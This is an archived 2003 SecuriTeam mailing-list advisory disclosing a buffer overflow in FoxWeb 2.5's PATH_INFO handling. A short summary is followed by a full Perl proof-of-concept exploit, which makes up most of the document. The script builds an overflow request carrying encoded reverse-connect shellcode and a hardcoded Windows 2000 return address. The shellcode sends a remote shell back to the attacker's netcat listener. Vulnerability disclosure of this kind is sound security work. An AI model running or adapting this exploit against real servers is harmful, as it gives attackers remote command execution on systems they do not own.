

[NT] Foxweb Buffer Overflow in CGI and ISAPI extension

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-09/0018.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/07/03

To: list@securiteam.com

Date: 7 Sep 2003 17:58:59 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Foxweb Buffer Overflow in CGI and ISAPI extension

SUMMARY

<<http://www.foxweb.com>> FoxWeb is a Web application development tool, which can be used to quickly and easily integrate your FoxPro and client-server databases with the Web and to build interactive Web applications for intranets or the Internet. Take advantage of the fastest PC-based database engine and ease of use of Visual FoxPro to create dynamic Web content. Whether you are a seasoned developer or a "newbie," FoxWeb provides the tools and resources to help you create interactive applications in less time and with less effort.

An exploitable buffer overflow has been found in the product allowing remote attackers to execute arbitrary code.

DETAILS

Vulnerable systems:

* Foxweb version 2.5

There is buffer overflow in PATH_INFO for foxweb.dll and foxweb.exe from foxweb 2.5. It will occur when user supply overlong PATH_INFO (over 3000

Securiteam: [NT] Foxweb Buffer Overflow in CGI and ISAPI extension

byte).

Example:

[http://www.com/scripts/foxweb.dll/\[3000 A's\]](http://www.com/scripts/foxweb.dll/[3000 A's])

This stackbase overflow is easy to exploit and may lead to command execution as webuser.

Exploit:

```
#!/usr/bin/perl
#
# proof of concept foxweb 2.5 (http://www.foxweb.com)
# by pokleyzz <pokleyzz@scan-associates.net>
#
# 06-27-2003
#
# usage:
## nc -vv -l -p <local port>
# ...
## ./bazooka_penaka.pl <target host> <target port> <local ip> <local
port> [foxweb.dll path] [ret]
#
# kau persis musang berbulu ayam ..
#
# Greet:
# tynon, sk ,wanvadder, s0cket370, flyguy, sutan ,spoonfork, Schm|dt,
kerengge_kurus and d'scan clan.
#
#
```

```
# "TEH TARIK-WARE LICENSE" (Revision 1):
# wrote this file. As long as you retain this notice you
# can do whatever you want with this stuff. If we meet some day, and you
think
# this stuff is worth it, you can buy me a "teh tarik" in return.
#
```

```
# (Base on Poul-Henning Kamp Beerware)
#
```

```
use IO::Socket;
```

```
my $host = "127.0.0.1";
my $port = 80;
my $musang = "/scripts/foxweb.dll";
my $rawret = "77e127bd"; # user32.dll = 0x77e127bd win2k sp3
my $conn;
my $ret;
my $xip;
my $xport;
```

Securiteam: [NT] Foxweb Buffer Overflow in CGI and ISAPI extension

```
if ($#ARGV < 3){
    print "[x] foxweb 2.5 exploit for windows \n\tby pokleyzz of d' scan
clan <pokleyzz@scan-associates.net>\n\n";
    print "Usage: \n bazooka_penaka.pl <target host> <target port> <local
ip> <local port> [foxweb.dll path] [ret]\n";
    print "kau persis musang berbulu ayam ..\n";
    exit;
}
$host = $ARGV[0];
$port = $ARGV[1];
$myip = $ARGV[2];
$myport = $ARGV[3];

if ($ARGV[4]){
    $musang = $ARGV[4];
}
if ($ARGV[5]){
    $rawret = $ARGV[5];
}

## start function
sub string_to_ret {
    my $rawret = $_[0];
    if (length($rawret) != 8){
        print $rawret;
        die "[*] incorrect return address ...\n ";
    } else {
        $ret = chr(hex(substr($rawret, 6, 2)));
        $ret .= chr(hex(substr($rawret, 4, 2)));
        $ret .= chr(hex(substr($rawret, 2, 2)));
        $ret .= chr(hex(substr($rawret, 0, 2)));
    }
}

sub ip_to_shellcode {
    my $sip = $_[0];
    split \./, "$sip" ;
    @ar_ip = @_;
    if ($#ar_ip < 3) {
        die "[*] incorrect local ip ...\n ";
    }
    $xip = sprintf("%%%x%%%x%%%x%%%x", int($ar_ip[0]) ^ 0x96
,int($ar_ip[1]) ^ 0x96 ,int($ar_ip[2]) ^ 0x96 ,int($ar_ip[3]) ^ 0x96 );
}

sub port_to_shellcode {
    my $sport = int($_[0]);
    if ($sport > 65535 ) {
```

Securiteam: [NT] Foxweb Buffer Overflow in CGI and ISAPI extension

```
die "[*] incorrect port number ...\n ";
}
$xport = sprintf("%%.2x%%.2x" ,($sport >> 0x08) ^ 0x96,($sport &
0x0000000ff) ^ 0x96);

}
## end function

# reverse connect shellcode by sk <sk@scan-associates.net>

$shellcode = ""
"%EB%02%EB%05%E8%F9%FF%FF%FF%58%83%C0%1B%8D%A0%01"
"%FC%FF%FF%83%E4%FC%8B%EC%33%C9%66%B9%5C%01%80%30"
"%96%40%E2%FA%7E%F6%96%96%96%D1%F3%E2%C6%E4%F9%F5"
"%D7%F2%F2%E4%F3%E5%E5%96%DA%F9%F7%F2%DA%FF%F4%E4"
"%F7%E4%EF%D7%96%D5%E4%F3%F7%E2%F3%C6%E4%F9%F5%F3"
"%E5%E5%D7%96%D3%EE%FF%E2%C6%E4%F9%F5%F3%E5%E5%96"
"%E1%E5%A4%C9%A5%A4%96%C1%C5%D7%C5%E2%F7%E4%E2%E3"
"%E6%96%C1%C5%D7%C5%F9%F5%FD%F3%E2%D7%96%F5%F9%F8"
"%F8%F3%F5%E2%96%F5%FB%F2%96%CC%C4%2D%96%96%66%E1"
"%17%AD%DB%CC%06%96%E2%95%DD%7D%63%1D%E5%AA%95%65"
"%1D%E0%EE%95%65%1D%E8%B6%95%6D%1D%D8%82%C0%A5%56"
"%C1%C7%1D%A9%95%6D%1D%64%A5%5F%27%98%65%30%CF%C9"
"%E2%90%15%51%92%D6%74%7E%C8%1D%C0%B2%95%45%47%76"
"%95%54%A5%5F%F0%1D%9E%1D%D0%8A%95%55%57%77%94%95"
"%57%1D%86%95%45%C8%1D%68%A5%5F%27%95%7E%EA%96%96"
"%96%15%50%9A%C4%C0%69%C1%62%CC%1D%4E%A5%5F%27%95"
"%7E%FE%96%96%96%15%50%9E%C3%FE%97%97%96%96%69%C1"
"%62%A5%56%C6%C6%C6%D6%D6%D6%69%C1%6E%1D%4E"
"%F0%51%D3%96%94%96%F0%51%D3%94"
"PORT" # 2 char
"%51%D3%92"
"IP" # 4 char
"%FC%86%C3%C5%69%C1%6A%A5%5F%27%87%C1%1D"
"%6B%65%3D%C9%50%D3%96%D2%1F%CB%AA%1F%CB%AE%1F%CB"
"%D6%F0%51%D3%BA%97%97%1B%D3%D2%C6%C3%C7%C7%7D"
"%C7%DF%7C%7C%0C%7C%69%69%7A%66%69%69%66%1C%90%D0"
"%12%56%E3%6F%7C%4C%0C%56%99%44%CC%CF%3D%74%78%55";

# port c6 96 = 0x5000 ^ 0x9696
# 96 c6
# ip BF 97 3E 56 = 192.168.1.41 ^ 0x96969696
# 56 3E 97 BF
# 127.0.0.1 = 7f000001
#$xip = "%56%3E%96%82"; # 192.168.0.20
&ip_to_shellcode($myip);
&port_to_shellcode($myport);
#$xip = "%82%96%";
#$xport = "%07%06"; #9090
```

Securiteam: [NT] Foxweb Buffer Overflow in CGI and ISAPI extension

```
$shellcode =~ s/IP/$xip/;
$shellcode =~ s/PORT/$xport/;

&string_to_ret($rawret);

$buffer .= "A" x 1671;
$buffer .= "\xeb\x0c\xeb\x0c"; # jmp short 0x0c
$buffer .= $ret;
$buffer .= "B" x 16;
$buffer .= $shellcode;

$request = ""
    . "GET $musang/$buffer HTTP/1.1\n"
    . "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\n"
    . "Host: $host:$port\n"
    . "Connection: Close\n\n";

print "[x] Connect to $host on port $port ...\n";
$conn = IO::Socket::INET->new (
    Proto => "tcp",
    PeerAddr => "$host",
    PeerPort => "$port",
    ) or die "[*] Can't connect to $host on port $port ...\n";
$conn-> autoflush(1);

print "[x] Sending exploit code ...\n";
print $conn $request;
print "[x] Exploit sent .. good luck :) ...\n";
#print $request;
```

ADDITIONAL INFORMATION

The information has been provided by
<mailto:pokleyzz@scan-associates.net> pokleyzz.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.